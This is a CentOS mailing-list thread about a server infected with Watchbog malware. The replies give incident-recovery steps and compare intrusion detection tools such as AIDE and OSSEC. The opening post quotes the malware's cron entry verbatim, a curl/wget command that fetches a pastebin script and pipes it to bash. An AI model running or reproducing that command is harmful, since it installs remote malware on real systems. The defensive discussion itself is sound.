CentOS 7.5 Linux Box Got Infected With Watchbog Malware

Home » CentOS » CentOS 7.5 Linux Box Got Infected With Watchbog Malware
CentOS 9 Comments

Hi,

Is there a way to find out how the CentOS 7.5 Linux box got infected with malware?
Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html to carry out the below steps and is done manually.

1)rm -fr /tmp/*timesyncc.service*
2)crontab -e -u apigee delete the cron entry
*/1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1
3)ps aux | grep watchbog kill -9 pidof watchbog

Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware?

Thanks in Advance.

Best Regards,

Kaushal

9 thoughts on - CentOS 7.5 Linux Box Got Infected With Watchbog Malware

  • Hi,

    Checking in again if anyone can pitch in for my earlier email to this mailing list. Thanks in Advance.

    Best Regards,

    Kaushal

  • Wipe your system and reload it from clean backups. Change all your passwords and SSH keys. Check every other host you’ve ever connected to from that system, and repeat the previous two steps on them.

  • Standard compromise recovery procedure since forever is (your local policy my have slightly different order about notifications and similar):

    1. back up all user data

    2. Wipe hard drive or whatever storage system you have (some malware potentially can flush itself instead of BIOS, but I haven’t seen any of really existing actually do that – experts probably will chime in here)

    3. Freshly re-install system, update, configure with all security precautions in mind, restore users and user data

    4. Fresh sshd installation takes care of generation of new server key pair, just don’t copy and re-use old pair

    5. Revoke old SSL certificate(s), and recreate and sign new one(s) –
    with new secret key

    6. Notify superiors and all users about compromise; stress that users have to change their password and key pair(s) on this machine, and should consider compromised their accounts on machines they connected to from this machine after compromise happened. As thorough forensics often takes longer that two weeks, so you can not tell right away exact date of original compromise (not the obvious one you see on the surface now), suggest they change passwords (and key pairs) on machines they ever connected from compromised one. And make them aware that they should apply it as a chain (about account on machines further in the chain of connections).

    To prevent re-occurrence of the above: update, update, update. Never install anything that is not coming from the source you trust, anything that is not downloaded by yourself from trusted source. Paranoia is in sysadmin’s job description. Install host based intrusion detection system. Do your own research and chose what is suitable your situation.

    I hope this helps.

    Valeri

  • Well, if the infected crontab is owned by user ‘apigee’ then it would suggest that whatever runs as that user is the source of the infection. The malware appears to try to elevate its privs, and if it’s successful it modifies various system files. What you are seeing in the ‘apigee’
    crontab is just the tip of the iceberg.

    It is unlikely that what is in that blog will successfully get rid of all the malware – it will probably stop it running, but your system will still have the malware on it and it may have left other backdoors into your system.

    The *ONLY* way of being sure your system is clean is to wipe and reinstall. (And make sure that if you restore from backup, that the backup is clean.)

    Yes, lots, although most centre around detecting the intrusion rather than preventing it – the classic way of detecting intrusions in the past has been Tripwire, but it’s a long time since I used it and there are no doubt better things around. Search for “linux intrusion detection tools”.

    For prevention, by far the best way is to keep your system and application software up to date. The intrusions work by elevating privilege to root, and that elevation requires either a knowledge of passwords/keys or the ability to leverage vulnerabilities. The first is mitigated by strong passwords and proper security housekeeping; the second by regularly updating your system especially with security updates.

    P.

  • Valeri Galtsev wrote:

    You should have been doing that all along.

    First step, before you do anything else, is pull the hard drive, put it into a hot-swap or external bay, and dd the entire drive to an identical one. THAT goes to forensics.

    Alternatively, pull the h/d, put in a new one, reset the BIOS to factory settings – that includes pulling the battery… *then* set what you need, and then build it new, and restore from backups.

    Why, yes, we did just do this, um, last year, after a compromise via a WordPress security hole. It did not manage to get to any other systems (we checked, and only a few run WordPress).

    mark

  • Do not exclude this from the [more or less] full list of standard compromise recovery routine I tried to outline. Even though you had to do backups all the time, backup at this point may have latest changes not present in latest routine backup. And you last had o restore something from your backup how many years ago? So your knowledge that that backup indeed works was tested years ago…

    Indeed. Or adjust this part to “everything is hosted on hardware RAID
    device”, for which you will have to boot off DVD, mount and dump all elsewhere for forensics.

    But! Forensics is different and sophisticated story, and when you learn in depth that the first thing you will learn is: Powering off the system, or even just disconnecting from the network may prevent you totally from learning several things about compromise. But this is really huge subject…

    And yes, preventing, no matter how tedious it may seem is orders of magnitude easier than recovering from compromise. So: secure the box. And update, update, update….

    Valeri

  • (Apologies in advance: “To top/middle/bottom post, that is the question”) In regard to “Search for “linux intrusion detection tools”.”, I have used Aide (Advanced Intrusion Detection System) and OSSEC, I’m aware of Samhain as well. If anyone has experience with Samhain I would love to hear about it.

    These systems have their advantages and disadvantages:

    Aide – Pro: very granular, reasonably easy to use, no library dependencies. Motivated by tripwire but actively maintained (which the free tripwire isn’t to the best of my knowledge). Cons: not a daemon, if “it” can be done and totally undone between scans then it’s transparent to Aide. Another con, somehow the executable, its database and configuration have to be protected against attack but everything is locally installed – a real challenge.

    OSSEC – Pro: a daemon, also monitors logs. Cons: Even though it’s a daemon, checks are scheduled – same issue as above. Another con: False positives, particularly if “new file detection” is used. And, like Aide, the agent and configuration are locally installed.

    Issues for all:
    Learning curve: After installing Aide the first thing I learned was how much change the operating system was making as a part of normal operations. In some ways a good education but it leads to the next dilemma.

    What do you monitor? If you monitor changing files you may be inundated with alerts. If you don’t monitor then how do you protect yourself? Beyond /etc/shadow and database files there are more exotic (and thus more difficult to analyze) situations. As an example, we were using both OSSEC and Aide on a system and, on occasion, Aide would alert that /etc/hosts.deny had an updated modification timestamp but no change in the file. Using auditd (which has its own limitations) I finally discovered that OSSEC was updating hosts.deny with IP addresses of systems it detected were trying to do malicious things but then removing the entry 10 minutes later – a “hamper the attack” technique. In another case icinga (the server side) was creating temporary files as a part of its monitoring. However, they were being created and removed so fast that OSSEC detected the creation but the file was gone on its almost immediate next check causing it to report a possible rootkit (file exists but OS t ools don’t find it). Fortunately I was able to capture a similar file and examine its contents.

    The resource dilemma: Continuous monitoring can be resource intensive, can you accept that? If not, how frequent a monitoring is enough.

    Leroy Tennison Network Information/Cyber Security Specialist E: leroy@datavoiceint.com
    2220 Bush Dr McKinney, Texas
    75070
    http://www.datavoiceint.com TThis message has been sent on behalf of a company that is part of the Harris Operating Group of Constellation Software Inc. These companies are listed here
    . If you prefer not to be contacted by Harris Operating Group please notify us
    . This message is intended exclusively for the individual or entity to which it is addressed. This communication may contain information that is proprietary, privileged or confidential or otherwise legally exempt from disclosure. If you are not the named addressee, you are not authorized to read, print, retain, copy or disseminate this message or any part of it. If you have received this message in error, please notify the sender immediately by e-mail and delete all copies of the message.

    —–Original Message—